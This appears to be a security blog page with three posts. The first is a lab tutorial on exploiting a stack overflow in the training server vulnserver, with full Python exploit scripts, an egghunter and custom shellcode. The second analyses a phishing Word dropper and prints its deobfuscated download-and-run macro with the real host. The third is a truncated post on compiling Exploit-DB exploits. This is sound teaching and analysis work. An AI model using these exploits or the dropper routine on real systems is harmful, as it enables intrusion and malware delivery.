Apr 292016
 

Preface: Although this blog post is a companion post to a talk I recently gave it does not depend on the talk itself. The idea is to provide some kind of reference and clarification for some technical details.

Generally, the talk – and therefor this post – is about finding and abusing a vulnerability in vulnserver to gain code execution. As this is a quite complex topic, I will try to make every step as clear as possible. However, this is by far not a step-by-step manual: Its goal it to give you valuable hints but still forces you to figure out many things on your own!

Before we start you need the following requirements:

  • A fully patched Windows 7 x64 VM (x86 might work but has not been testet!)
  • A Kali VM (or any other system with Metasploit)
  • Immunity Debugger (For simplicity reasons simply install the bundled Python version – I had troubles getting newer versions to work; Furthermore manually update your PATH so that it encludes C:\Python27)
  • The mona.py Immunity Debugger Extension
  • The Microsoft Developer Command Prompt for VS (as bundled with Visual Studio Express)
  • The vulnerable server application vulnserver (Download at the bottom of the site)
  • The string_to_push.py helper script
  • Our custom shellcodes: download
  • A good text editor like Notepad++
  • A hex editor like HxD

Identifying a vulnerability

The first and often most difficult step is to actually find a vulnerability that can be abused to gain code execution. In this case we will use a technique called Fuzzing. Thereby we simply send unexpected data to the service and observe what happens. As vulnserver’s main goal it so be vulnerable it is quite easy to trigger a fault. For example I wrote the following simple python scripts “1 fuzzer.py” that simply connects to a locally running vulnserver and executes every supported command with a parameter of 10000 A’s.

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

CMDS = ["STATS","RTIME","LTIME","SRUN","TRUN","GMON","GDOG","KSTET","GTER","HTER","LTER","KSTAN"]

for cmd in CMDS:

 print "Connecting to "+IP+" on port "+str(PORT)
 print ""

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((IP, PORT))
 print s.recv(BUFFER_SIZE)

 #print "Supported commands:"
 #s.send("HELP")
 #print s.recv(BUFFER_SIZE)

 print "Attacking "+cmd
 s.send(cmd+" "+(10000*"A"))
 print s.recv(BUFFER_SIZE)
 
 s.close()

Guess what, after launching the fuzzer it did not take very long for vulnserver to crash:
Screen Shot 2016-04-15 at 09.07.13
Based on the output we can see that the last tested command was KSTET. That means we will now focus on what exactly happened. To do so we have to debug vulnserver within Immunity Debugger.

Verifying the Vulnerability

Before we start verifying the vulnerability here are a few tips:

  • If you are using a custom port (6666) like I do, you can configure the process arguments in the Debugger -> Arguments menu
  • I really recommend you to learn some of the keyboard shortcuts (Run and Continue: F9, Restart: CRTL+F2, Stop: ALT+F2)
  • Youtube is a great resource for hands-on Immunity Debugger tipps and trick

To be able to analyse the issue in more detail I updated my fuzzer to only test the KSTET command. Thereby it’s easier to focus on the important things:

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

cmd = "KSTET"

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+(10000*"A"))
print s.recv(BUFFER_SIZE)
 
s.close()

After that I launched vulnserver within Immunity Debugger and skipped all the default breakpoint (using F9) so that the main server listener process was started. After that I executed our targeted fuzzer script:
Screen Shot 2016-04-15 at 09.24.16

As you can see our fuzzer managed to trigger a stack overflow vulnerability that finally caused EIP to be 41414141 (AAAA). What that means is we triggered a bug in the application that allows us to control what instruction should be executed next. The following image illustrates what has happened.

so

Identifying the Offset

However, right now we are sending 10000 A’s. That means we have no clue which A exactly controls EIP. To identify the offset we can use Metasploit. To do so, fire up your Kali VM and connect to it using SSH. After that run the following command to create a unique pattern:

root@kali:~ /usr/share/metasploit-framework/tools/pattern_create.rb 10000

Screen Shot 2016-04-15 at 09.48.47Now update your fuzzer to send that unique pattern instead of the A’s and again inspect the output in Immunity Debugger:
Screen Shot 2016-04-15 at 09.53.09
As you can see we again triggered some kind of error. However this time we can exactly identify which offset allows us to control the execution flow. To do so we use another Metasploit tool:

root@kali:~ /usr/share/metasploit-framework/tools/pattern_offset.rb 63413363
[*] Exact match at offset 70

This means, that the value at offset 70 is the one that overwrites the return address on the stack and finally ends up in EIP. As EIP contains the address of the next instruction that will be executed we now have to find a suitable address we can jump to.

Gaining Code Execution

Before searching for a suitable address we have to think about our next step: Delivering our payload. Our malicious code also has to be delivered with our exploit. Therefore it makes sense to first inspect the memory layout during the stack overflow in detail so we can find space for it. I updated the fuzzer again so we can learn more about possible attack vectors during our analysis:

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

cmd = "KSTET"
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A..."

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

Now simply rerun vulnserver within Immunity Debugger and launch the above fuzzer. Continue the execution until the process terminates. Very important: Ignore all messageboxes and really continue the execution until the process dies (Debugged program was unable to process exception)! The following screenshots shows the expected results including some remarks:

Screen Shot 2016-04-15 at 11.09.49

We can get quite a lot of important information out of this crash:

  1. Our 70 byte offset is correct
  2. ESP points to our B’s. That means we can use it to place and execute code from there.
  3. However as there are only 20 B’s we only have 20 bytes for our payload…. That means we have to use several stages!
  4. Our 70 byte offset can be reused within our staged exploit

The following image tries to clarify the output even more:

Based on that we will now take the following steps:

  1. Find an “JMP ESP” instruction to jump to => That transfers control to the commands in the memory region where our B’s were and that we control
  2. There we place some custom ASM instructions that transfer control to the beginning of our A’s. Then we have at least 70 bytes for our next payload stage.

Finding an JMP ESP Instruction

As stated above, we first have to find an JMP ESP instruction within the process memory. However there is one more thing to consider: ASLR. ASLR is a security feature that randomizes the addresses of the process memory. That means that we can not simply use any JMP ESP instruction as most of them will have a different memory address after a process or system restart. So in the first step we have check if there are any non-ASLR library loaded and than search for an JMP ESP instruction within them.

Screen Shot 2016-04-15 at 11.51.53

The screenshot above illustrated this process. At first we use the command !mona noaslr to list all modules that don’t use ASLR. The important thing is that we can only use modules that don’t have a NULL (00) character within their address. That mean only essfunc.dll is suitable for our needs.

To check if there are any JMP ESP instructions within essfunc.dll the follwing command can be used: !mona find -type instr -s “jmp esp” -m essfunc.dll (The command has been changed). It lists all found instructions with their corresponding address. The first one at 0x625011AF is already perfectly suitable for us: It contains the correct instruction and its address does not include NULL characters.

We can now again update our exploit with the new destination address. Also note that I replaced the B’s with a single 0xCC. This maps to the assembler command INT 3h, which in turn triggers a breakpoint within our debugger. Thereby we can easily verify if you exploit is working as expected.

#!/usr/bin/env python
import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
TRIGGER_BREAKPOINT = "\xCC"

cmd = "KSTET"

addr = "\xAF\x11\x50\x62" # JMP ESP in essfunc.dll (0x625011AF)

pattern = 70*"A"+addr+TRIGGER_BREAKPOINT

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

If everything worked as expected the breakpoint should be hit and your Immunity Debugger should look similar to the following screenshot:
Screen Shot 2016-04-24 at 20.13.53

Creating a Little Room to Breathe

Although we finally managed to get code execution we only have 20 bytes… That’s not a lot so we need to make ourself a little more room to breathe. To do so we will jump from our initial 20 byte buffer to the much larger 70 byte memory region at the beginning of our buffer. The following color-coded image illustrates the next steps:

so3

As already documented in the image we have to jump from the initial memory region to the 70 byte buffer in front of it. As this buffer starts 74 bytes in front of where ESP currently points to we simply subtract 74 from ESP (SUB ESP,74) and the jump there (JMP ESP). Metasploit’s interactive nasm_shell ASM helper utility helps us to convert this instructions to hex:

root@kali:~ /usr/share/metasploit-framework/tools/nasm_shell.rb 
nasm: sub esp,74;
00000000  83EC4A            sub esp,byte +0x4a
nasm: jmp esp;
00000000  FFE4              jmp esp
nasm: quit

Now the exploit can be updated with this instructions:

#!/usr/bin/env python
import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
TRIGGER_BREAKPOINT = "\xCC"

cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # JMP ESP in essfunc.dll (0x625011AF)
sub_esp_74 = "\x83\xEC\x4A" # sub esp,74;
jmp_esp = "\xFF\xE4" # jmp esp

shellcode = TRIGGER_BREAKPOINT

print len(shellcode)
pattern = shellcode+(70-len(shellcode))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

After verifying with Immunity Debugger that everything is working, we can lean back and simply use a suitable Metasploit payload: The only problem is, there is none… All Windows payloads are bigger than 70 bytes (/usr/share/metasploit-framework/tools/payload_lengths.rb |grep windows).

The Egg to the Rescue

Luckily this problem has been encountered before an there even is a solution: Egg hunting. The principle is pretty easy: The attacker somehow places a shellcode in the attacked process, prepended with some special string (the egg). After that he triggers the actual vulnerability and drops the egg hunter. This little function starts to search the egg within the process’s memory and if found redirects execution to the shellcode. I really recommend Corelan’s blog post for further details: Exploit writing tutorial part 8 : Win32 Egg Hunting.

Tipp: Before continuing any further change Immunity’s Exception configuration so that Memory access violations are ignored! They are used internally by the egg hunter and make it impossible to work with the debugger if not disabled.

Screen Shot 2016-04-24 at 21.30.03After that, there is only one last problem: How can the shellcode be placed into memory? Well, the good thing is we have access to vulnserver’s sourcecode (vulnserver.c):

...
char *GdogBuf = malloc(1024);
...
} else if (strncmp(RecvBuf, "GDOG ", 5) == 0) {				
	strncpy(GdogBuf, RecvBuf, 1024); // GdogBuf is a connection-wide variable
SendResult = send( Client, "GDOG RUNNING\n", 13, 0 );
...

From there the GDOG command looks interesting: It stores up to 1024 bytes in a connection specific variable. That means the value is kept in memory as long as the connection is not terminated. This is perfectly suitable for our needs. Here’s our update plan:

  1. Connect to vulnserver
  2. Place the actual shellcode – prepended with our egg – into the victim process’s memory using the GDOG command
  3. Trigger the vulnerability within the KSTET implementation while also delivering our egg hunter and overwriting the return address with the address of JMP ESP within essfunc.dll.
  4. After the execution has been forwarded to our small 20 byte buffer, jump to the bigger 70 byte buffer
  5. There start the egg hunter
  6. Win!

Here is the updated two-stage exploit. As you can see it is a little more complex – however, nothing really special. It uses the universal (x86 and Wow64) Corelan Egg hunter documented in their blog post WoW64 Egghunter. It abuses the NtAccessCheckAndAuditAlarm syscall to prevent access violations. To learn more about Egg hunting in general click here.

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = BREAKPOINT 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print "Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print "Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print "Shellcode Padding: "+str(len(EGGHUNTER))
print "Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

After watching the egg hunter do its job, Immunity Debugger should catch the INT 3h breakpoint. You can inspect the memory in front of the current instruction pointer: It should contain the egg(s) we have placed.

Screen Shot 2016-04-24 at 21.40.46

To summarise: We triggered a buffer overflow, overwrote the return address on the stack, jumped from our small 20 byte buffer to our bigger 70 byte buffer, where we stored our Egg hunter. This Egg hunter then searched the process’s memory for the egg and transferred execution to the instruction after it. Well done!

In the next step we need some kind of shellcode to do some actual “malwary” stuff. As I was unable to get the Metasploit payloads (msfvenom -a x86 –platform windows -p windows/messagebox TEXT=”We are evil” -f python -b “\x00” -v MSF_PAYLOAD) to execute reliably I wrote my own.

Writing the shellcode

However as it is quite difficult to write a shellcode from scratch (especially if you have never done it before) I went with a well documented template, namely NoviceLive’s. Before we start adapting it, let’s define our goal: As this is some kind of “tutorial” we will just execute calc.exe to proof that we gained code execution. However we will take the cool way(R) and use Powershell to do so. Thereby this example can be easily modified to do something else.

Let’s start with discussing the inner workings of the messagebox shellcode. To do so we use the following pseudocode snipped instead of the actual ASM code. This makes it a little easier to understand everything.

function main:
    // Prepare 
    peb = NtCurrentTeb().ProcessEnvironmentBlock // TEB = Thread Environment Block 
    ldr = peb.Ldr; // get list of loaded modules
    kernel32_dll_base = find_kernel32_dll_base() // get kernel32.dll
    get_proc_address = find_get_proc_address(kernel32_dll_base) // get address of GetProcAddress 
    load_library = get_proc_address(kernel32_dll_base,"LoadLibraryA") // find pointer to LoadLibrary
 
    // Do the actual shellcode thing
    user32_dll_base = load_library("user32") // load user32.dll library
    message_box_a = get_proc_address(user32_dll_base,"MessageBoxA") // find pointer to MessageBoxA
    message_box_a(NULL, "Hello World!", NULL, MB_OK) // display "Hello World" msgbox
    
    exit_thread = get_proc_address(kernel32_dll_base,"ExitThread") // find pointer to ExitThread
    exit_thread() // exit thread in a clean way
 
function find_kernel32_dll_base:
    for module in ldr.InInitializationOrderModuleList:
        if module.BaseDllName[6] == "3": // if module.BaseDllName == 'kernel32.dll':
            return module.AddressOfNames // simplified
 
function find_get_proc_address(kernel32_dll_base):
    exportNamePointerTable = kernel32_dll_base.ExportNamePointerTable
    for pointer in exportNamePointerTable: // simplified
        if pointer.name == "GetProcA":
            return pointer.AddressOfFunctions

As soon as the execution of the shellcode is triggered it first has to find all the necessary function addresses to do something useful. NoviceLive’s messagebox shellcode simply opens a messagebox (who would have thought that) so it needs a reference to the corresponding ShowMessageBoxA function. To get this reference it first loads the User32 library (as stated at the bottom of the linked MSDN page) that exports ShowMessageboxA.

Writing Shellcode is quite different from normal programing: You don’t have all the little helpers – like a higher level programming language or a loader that fixes your addresses –  so you have to do all that hand. But that will not stop us!

So let’s start:

  1. As the shellcode is blind in the beginning (in the sense that it does not know anything about the memory layout of the process) it has to obtain some kind of reference. This reference – namely the base address of kernel32 – is extracted from the Thread Environment Block using the loaded modules list (Ldr).
  2. After that all the exported functions of kernel32 are iterated to find the address of GetProcAddressA.
  3. GetProcAddressA is than used to find the memory location of LoadLibraryA
  4. Now the actual shellcode starts: LoadLibraryA is used to ensure that user32 is loaded
  5. GetProcAddressA is then called to obtain the function pointer to MessageBoxA
  6. After manually pushing all the function parameters to the stack MessageBoxA is finally called and a messagebox is shown.
  7. To clean up GetProcAddressA is used again to obtain the pointer for ExitThread, which in turn is then called to exit the current thread.

To test the initially obtain shellcode open the Developer Command Prompt for VS2015 (or whatever version you have installed) and run the build32.cmd from within the messagebox folder (you can download the package with all different shellcodes from here). As shown below you can verify that the shellcode is working by simply running the EXE that was built.

Screen Shot 2016-04-28 at 11.08.21

To finally test the shellcode in the exploit open the previously created EXE within your hex editor of choice (like HxD) and copy the actual shellcode instructions into a text editor (like Notepad++). Then fix it so that it is a valid Python string (using search and replace to replace all spaces with \x should to the trick – don’t forget the first hex char!)

Screen Shot 2016-04-28 at 11.19.34

Then update the exploit with the newly created payload (Attention: payload truncated!):

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

# Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
MSGBOX = "\x33\xC9\x64\x8B\x49\x30\x8B ... ";

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = MSGBOX 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print "Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print "Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print "Shellcode Padding: "+str(len(EGGHUNTER))
print "Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

Now it’s testing time: Run vulnserver (with or without the debugger) and launch the attack: If everything worked as expected a messagebox should open. (Attention: Sometimes it’s not the front most window!)
Screen Shot 2016-04-28 at 11.29.56

Modifying the Shellcode

In the next step the shellcode will be updated to launch calc instead of showing a boring messagebox. To do so we will use the ShellExecuteA API.

After copying the messagebox example, the first change is to load another library – namely shell32 instead of user32.

Screen Shot 2016-04-28 at 11.43.03

Then use the string_to_push.py script to create the necessary instructions that push the string “Shell32” to the stack. As the length of the string has to be a multiply of 4 a single space has to be added. Then replace the old PUSH commands with the newly created one’s and fix them accordingly by removing the 0x prefix and by appending a h postfix.

Beside that a little trick has to be used to create a valid NULL terminated string out of the PUSH commands that were generated. What needs to be done it that the last character – the space that was added – has to be replaced with a NULL character. However the NULL character can not be used as it would truncate the exploit. To workaround this we use a little math trick: The first push instruction push 2032336ch is changed to push 0132336ch. After that the instruction dec byte ptr [esp + 3h] is added. This instruction decrements the first hex character by one and causes the final value to be 0032336ch. Exactly what we wanted: A NULL terminator!

In the final step the original call to MessageBoxA has to be replaced with a call to ShellExecuteA. Based on the MSDN documentation the following C function call has to be implemented:

ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);

So beginn by removing the original call to MessageBoxA (should be around line 133 to line 155). Then start by using GetProcAddress to request the address of ShellExecuteA:

;; eax = GetProcAddress(eax, "ShellExecuteA")
push edi
	
;; put "A%00 on stack"
xor ecx, ecx
mov cx, 0141h
push ecx
dec byte ptr [esp + 1h]

push 65747563h ;cute
push 6578456ch ;lExe
push 6c656853h ;Shel
push esp
push eax
call esi

Next push all the required strings to the stack and store their address. Again use the string_to_push.py util to create the initial push instruction. Don’t forget to add and fix the required string NULL characters.

;push powershell.exe to the stack
push 01206578h
dec byte ptr [esp + 3h]
push 652e6c6ch
push 65687372h
push 65776f70h
mov edx, esp ; store the address in edx

;push -Command "calc" to the stack
push 0122636ch
dec byte ptr [esp + 3h]
push 61632220h
push 646e616dh
push 6d6f432dh
mov ecx, esp ; store the address in ecx

As now all prerequisite have been met ShellExecuteA can be invoked:

;; Finally call ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);
push edi ; Spacing so that is is easier to debug
push edi

push edi ; IsShown = NULL
push edi ; DefDir = NULL

push ecx ; Parameters
push edx ; Filename

push edi ;Operation = default
push edi ;hwnd = NULL
call eax

After all this hard work it is time to test our shellcode. As discussed before use the build32.cmd to compile the ASM instructions and launch the created EXE. If calc.exe is started then everything is correct. Otherwise I recommend to directly debug the application using Immunity Debugger to check exactly what is going wrong.

Then again open the EXE in a hex editor and copy the shellcode to a text editor. There add the required \x prefixes by using search and replace so that a valid Python string is created. After that add it to the exploit script:

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

# Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
RUN_CALC = "\x33\xC9\x64\x8B\x49\..."

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = RUN_CALC 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print ">> Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print ">> Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print ">> Shellcode Padding: "+str(len(EGGHUNTER))
print ">> Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

Presumably everything was done correctly the exploit should launch calc.exe:

Screen Shot 2016-04-28 at 12.38.07

Well done: You have reached the end of this very very very long post. I hope you will try to exploit or even already exploited the vulnerability on your own. I at least had a lot of fun while solving the puzzles and additionally learned a lot while doing so!

Feb 152016
 

Last week I was able to obtain a real world malware sample as used in a spear phishing campaign targeting an Austrian corporation. The unknown attacker targeted multiple people within the organisation using several different mail and attachment variants. All mails tried to trick the respective recipient into opening the attached Word document.

Screen Shot 2016-02-14 at 17.16.14

As I was interested in the actual malware I uploaded several variants to VirusTotal. The detection rate was very low ranging from none to only a few detections depending on the uploaded variation. This actually indicated a targeted attacked and further drew my attention.

Dynamic Analysis

For my detailed analysis I randomly picked the Word document Rechnung nr.XXXXX.doc (anonymised) with a SHA1 hash of 520df6b381b0738f464b21a3729f9afa4f61d79f. To get a rough understanding of the used attack vector(s) I opened the document in a secure virtualised environment while recording all executed actions. Thereby I learned that some kind of Office macro execution was triggered:

Screen Shot 2016-02-14 at 17.44.10

As I wanted to learn more about the behaviour of the malware I enabled macros and after a few seconds the following error showed up. Well, this does not look like the most robust malware…

Screen Shot 2016-02-14 at 17.48.36

Anyway, from my recordings I could actually tell what went wrong: The first thing I inspected was the output of Procmon. I immediately noticed that Word opened a HTTP connection to arvor.biz (83.220.171.223). Well, that’s strange…

Screen Shot 2016-02-14 at 17.54.55

Next I inspected my Wireshark log and found the corresponding TCP stream showing a failed HTTP GET request.

Screen Shot 2016-02-14 at 17.59.02

Based on the fact that no further actions have been recorded, one most likely can conclude that our Word document is a simple dropper: Its only task is to (silently) download and execute the next step of the attack. Nevertheless its simple task, I was still interested in how it works in detail.

Static Analysis

At first I opened the file in a hex editor and was surprised: It certainly did not look like a Word document but more like an EML file.

Screen Shot 2016-02-14 at 18.17.46

After some time I finally figured out that it is an MHTML file. Microsoft Word is able to save documents not only as .doc and .docx but also as Web Page (.htm) and as Single File Web Page (.mht).

Screen Shot 2016-02-14 at 19.09.26

Even if a .mht file is then renamed to .doc it still works. This is also exactly what we have here! The special thing about renamed .mht files is that they look (from their file extension) and feel (after opening them within Word) like a normal Word document but that they in reality are completely different. One such difference is their reported MIME type:

Screen Shot 2016-02-14 at 19.32.56

This example also shows why it is so difficult for a security product vendor to make a good solution: It is the edge case that matters (a lot!).

Malware Extraction

With the knowledge of the file format I finally could identify the following payload documents:

  • file:///C:/CF649EC6/fddsfdsf.htm: contains XML garbage
  • fdsfdsf: contains undecodable base64 garbage
  • sdfsdffff: contains plaintext garbage
  • file:///C:/CF649EC6/fddsfdsf.files/oJUGdsfcxz.mso: the actual base64 encoded container
  • file:///C:/CF649EC6/fddsfdsf.files/gFHjsdddd.xml: the .mht entry point – necessary to create a valid document. References the malicious oJUGdsfcxz.mso component so it gets executed

The actual malware could then be easily identified because of the .mso file extension: .mso files were used (long ago) to embed Word documents within mail messages. Checkpot!

However, to get the source of the malicious macro I first had to decode the base64 encoded .mso. To do so I saved it as malware.b64 and decoded it using the base64 command:

base64 -D malware.b64 >malware.activemime

After that I got a file with an ActiveMime file header:

Screen Shot 2016-02-14 at 19.50.47

With the help of the SANS article XML: A New Vector For An Old Trick I was able to identify a valid zlib header 78 9C at byte offset 50. Hence, I removed the first 50 bytes using my hex editor of choice Hex Friend and saved it as malware.zlib. To extract the containing CDF V2 Compound Documents I used the following command:

openssl zlib -d <malware.zlib >malware.cdf

To extract the therein encoded macro I then used olevba as follows:

olevba.py -a malware.cdf >analysis.txt

You can download the full results here.

Deobfuscation

To finally find out what the malware is doing in detail I had to deobfuscated the sourcecode. This manual process took me about half an hour and I managed to bring the number of lines from 370 down to less than 20:

Sub downloadMalware()
    Dim var_file_handle As Long
    Dim var_HTTP_response_body() As Byte
    Dim var_HTTP_request As Object
    var_textbox1_url = UserForm1.TextBox1 'http://83.220.171.223/wikipedia/upload.php
    var_Path_to_Temp_plus_Textbox2 = Environ(StrReverse("PMET")) & UserForm1.TextBox2 'yFUYIdsf.exe
    Set var_HTTP_request = CreateObject(StrReverse("1.5.tseuqerPTTHniW.PTTHniW"))
    var_HTTP_request.Open StrReverse("TEG"), var_textbox1_url, False
    var_HTTP_request.Send
    var_HTTP_response_body = var_HTTP_request.ResponseBody
    Set var_HTTP_request = Nothing
    var_file_handle = FreeFile
    Open var_Path_to_Temp_plus_Textbox2 For Binary Access Write As #var_file_handle
    Put #var_file_handle, 1, var_HTTP_response_body
    Close #var_file_handle
    var_shell_result = Shell(var_Path_to_Temp_plus_Textbox2, vbHide)
End Sub

Conclusion

Finally, we now know for sure that the malware simply tries to download an executable from http://83.220.171.223/wikipedia/upload.php to the machine’s temp folder as yFUYIdsf.exe. If the downloads succeeds, it then also launches it. In this case however, the server had already been taken down. This is also the reason why we got the error message during the dynamic analysis in the first place. Furthermore there is no error handing of any sort.

The more interesting thing about this dropper however is, that it abuses the .mht file format to evaded detection. What a great idea… It almost worked 😉

Jan 102016
 

While trying to compile Windows exploits from the Exploit Database (exploit-db.com) I quite often faced an error similar to the following:

2789.obj : error LNK2019: unresolved external symbol _closesocket@4 referenced in function _main

The message already clearly says what is going wrong: There is a missing external dependency. Most likely we simply need to link one or more external libraries. The big question is how to do that efficiently?

In this post I will show you how to fix these errors on the example of Exploit DB exploit #2789: Microsoft Windows – NetpManageIPCConnect Stack Overflow Exploit (MS06-070).

After downloading the exploit’s source and fixing all the syntax errors CL.exe is still unable to compile the exploit: (Hint: Don’t forget to use the Developer Command Prompt!)

